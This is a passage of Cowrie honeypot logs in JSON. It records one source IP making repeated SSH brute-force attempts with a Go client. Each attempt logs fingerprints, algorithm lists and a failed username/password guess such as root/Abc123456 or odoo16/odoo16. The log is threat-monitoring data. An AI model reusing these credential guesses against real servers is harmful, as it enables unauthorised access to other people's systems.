cCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:22:52.670434Z","src_ip":"192.109.200.237","session":"7f7ca53f8668","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sam","password":"sam","message":"login attempt [sam/sam] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:22:52.920965Z","src_ip":"192.109.200.237","session":"7f7ca53f8668","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:22:54.007877Z","src_ip":"192.109.200.237","session":"7f7ca53f8668","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":46292,"dst_ip":"159.203.135.109","dst_port":22,"session":"42109bf25578","protocol":"ssh","message":"New connection: 192.109.200.237:46292 (159.203.135.109:22) [session: 42109bf25578]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:22:55.784908Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:22:55.790339Z","src_ip":"192.109.200.237","session":"42109bf25578","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:22:55.872933Z","src_ip":"192.109.200.237","session":"42109bf25578","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Abc123456","message":"login attempt [root/Abc123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:22:56.121027Z","src_ip":"192.109.200.237","session":"42109bf25578","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:22:57.205967Z","src_ip":"192.109.200.237","session":"42109bf25578","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":46300,"dst_ip":"159.203.135.109","dst_port":22,"session":"0b1916fd17c3","protocol":"ssh","message":"New connection: 192.109.200.237:46300 (159.203.135.109:22) [session: 0b1916fd17c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:22:58.973573Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:22:58.977993Z","src_ip":"192.109.200.237","session":"0b1916fd17c3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:22:59.060107Z","src_ip":"192.109.200.237","session":"0b1916fd17c3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rancher","password":"rancher","message":"login attempt [rancher/rancher] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:22:59.305979Z","src_ip":"192.109.200.237","session":"0b1916fd17c3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:23:00.391660Z","src_ip":"192.109.200.237","session":"0b1916fd17c3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":36858,"dst_ip":"159.203.135.109","dst_port":22,"session":"82ef96b91c23","protocol":"ssh","message":"New connection: 192.109.200.237:36858 (159.203.135.109:22) [session: 82ef96b91c23]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:23:02.151325Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:23:02.158078Z","src_ip":"192.109.200.237","session":"82ef96b91c23","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:23:02.318303Z","src_ip":"192.109.200.237","session":"82ef96b91c23","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"botuser","password":"123","message":"login attempt [botuser/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:23:02.697048Z","src_ip":"192.109.200.237","session":"82ef96b91c23","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:23:03.781842Z","src_ip":"192.109.200.237","session":"82ef96b91c23","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":36860,"dst_ip":"159.203.135.109","dst_port":22,"session":"617342bf1989","protocol":"ssh","message":"New connection: 192.109.200.237:36860 (159.203.135.109:22) [session: 617342bf1989]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:23:05.550375Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:23:05.555466Z","src_ip":"192.109.200.237","session":"617342bf1989","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:23:05.639113Z","src_ip":"192.109.200.237","session":"617342bf1989","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456789","message":"login attempt [root/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:23:05.888451Z","src_ip":"192.109.200.237","session":"617342bf1989","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:23:06.973393Z","src_ip":"192.109.200.237","session":"617342bf1989","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":36868,"dst_ip":"159.203.135.109","dst_port":22,"session":"9b21cdd79333","protocol":"ssh","message":"New connection: 192.109.200.237:36868 (159.203.135.109:22) [session: 9b21cdd79333]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:23:08.736378Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:23:08.741135Z","src_ip":"192.109.200.237","session":"9b21cdd79333","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:23:08.823235Z","src_ip":"192.109.200.237","session":"9b21cdd79333","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"frappe","password":"frappe@123","message":"login attempt [frappe/frappe@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:23:09.068808Z","src_ip":"192.109.200.237","session":"9b21cdd79333","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:23:10.276683Z","src_ip":"192.109.200.237","session":"9b21cdd79333","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":35558,"dst_ip":"159.203.135.109","dst_port":22,"session":"76642dc0ee45","protocol":"ssh","message":"New connection: 192.109.200.237:35558 (159.203.135.109:22) [session: 76642dc0ee45]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:23:11.883737Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:23:11.888566Z","src_ip":"192.109.200.237","session":"76642dc0ee45","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:23:11.970626Z","src_ip":"192.109.200.237","session":"76642dc0ee45","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssw0rd123","message":"login attempt [root/P@ssw0rd123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:23:12.216688Z","src_ip":"192.109.200.237","session":"76642dc0ee45","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:23:13.300978Z","src_ip":"192.109.200.237","session":"76642dc0ee45","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":34384,"dst_ip":"10.17.0.5","dst_port":23,"session":"1adacdfe46e3","protocol":"telnet","message":"New connection: 192.119.13.58:34384 (10.17.0.5:23) [session: 1adacdfe46e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:23:14.858640Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":35562,"dst_ip":"159.203.135.109","dst_port":22,"session":"007b7e1a5268","protocol":"ssh","message":"New connection: 192.109.200.237:35562 (159.203.135.109:22) [session: 007b7e1a5268]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:23:15.058221Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:23:15.154638Z","src_ip":"192.109.200.237","session":"007b7e1a5268","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:23:15.162809Z","src_ip":"192.109.200.237","session":"007b7e1a5268","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ali","password":"ali","message":"login attempt [ali/ali] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:23:15.544552Z","src_ip":"192.109.200.237","session":"007b7e1a5268","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:23:16.630642Z","src_ip":"192.109.200.237","session":"007b7e1a5268","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":35576,"dst_ip":"159.203.135.109","dst_port":22,"session":"0ef642d8f8a0","protocol":"ssh","message":"New connection: 192.109.200.237:35576 (159.203.135.109:22) [session: 0ef642d8f8a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:23:18.367797Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:23:18.372577Z","src_ip":"192.109.200.237","session":"0ef642d8f8a0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:23:18.454063Z","src_ip":"192.109.200.237","session":"0ef642d8f8a0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo16","password":"odoo16","message":"login attempt [odoo16/odoo16] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:23:18.699658Z","src_ip":"192.109.200.237","session":"0ef642d8f8a0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:23:19.784324Z","src_ip":"192.109.200.237","session":"0ef642d8f8a0","protocol":"ssh"}
